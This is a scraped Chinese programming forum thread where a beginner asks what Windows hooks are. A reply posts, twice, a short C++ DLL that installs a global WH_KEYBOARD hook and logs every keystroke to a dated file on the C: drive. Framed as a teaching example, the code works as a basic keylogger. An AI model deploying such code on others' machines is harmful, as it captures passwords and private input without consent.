大家说的钓子和hook是指的什么?我菜鸟一个 可以给你一个例程,看看它到底可以干什么!Email 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 prog_st(st) 谢谢你!呵呵~~~~~~~给你加点分,20分太少了点。richi_(跑) 老兄这是个实例,贴出它们的关键部分。以下一个是做成DLL的形式哦。/////////////////////////////////////////////////////////////////////////////HHOOK Hook;LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);void SaveLog(char* c);DllExport void WINAPI InstallLaunchEv(){ Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, theApp.m_hInstance, 0);} LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam){ LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); if(nCode==HC_ACTION) { //判定键盘按下 if(lParam & 0x80000000) { char c[1]; c[0]=wParam; SaveLog(c); } } return Result;}void SaveLog(char* c) { CTime tm=CTime::GetCurrentTime(); CString name; name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); CFile file; if(!file.Open(name,CFile::modeReadWrite)) file.Open(name,CFile::modeCreate|CFile::modeReadWrite); file.SeekToEnd(); file.Write(c,1); file.Close();} 如何通过手动拖拽确定对话框的大小,使其运行时刚刚占满整个屏幕 求教c++画圆的方法(特急) 请问用WEBBROWSER2控件怎样查找网页中源码中的一个字符串 如何执行jscript脚本 tooltip的文本如何显示在上面,而不在右下角 求助,请各位高手帮忙,不胜感激,急急急!! 请教大侠,怎么把工程的编译状态由release 改为 debug状态??? 菜鸟问题 CreateCompatibleBitmap的菜鸟问题,急急急,解决马上就结贴 紧急求救!桌面上没一个能打开的东西了啊! 如何在CTreeView中的item左边加入复选框?大虾一定救我啊! 50分奉上,请大家帮忙。。。
richi_(跑) 老兄这是个实例,贴出它们的关键部分。
以下一个是做成DLL的形式哦。/////////////////////////////////////////////////////////////////////////////HHOOK Hook;LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam);void SaveLog(char* c);DllExport void WINAPI InstallLaunchEv()
{
Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, theApp.m_hInstance, 0);
} LRESULT CALLBACK KeyboardProc(int nCode,WPARAM wParam,LPARAM lParam)
{
LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
if(nCode==HC_ACTION)
{
//判定键盘按下
if(lParam & 0x80000000)
{
char c[1];
c[0]=wParam;
SaveLog(c);
}
}
return Result;
}void SaveLog(char* c)
{
CTime tm=CTime::GetCurrentTime();
CString name;
name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay());
CFile file;
if(!file.Open(name,CFile::modeReadWrite))
file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
file.SeekToEnd();
file.Write(c,1);
file.Close();
}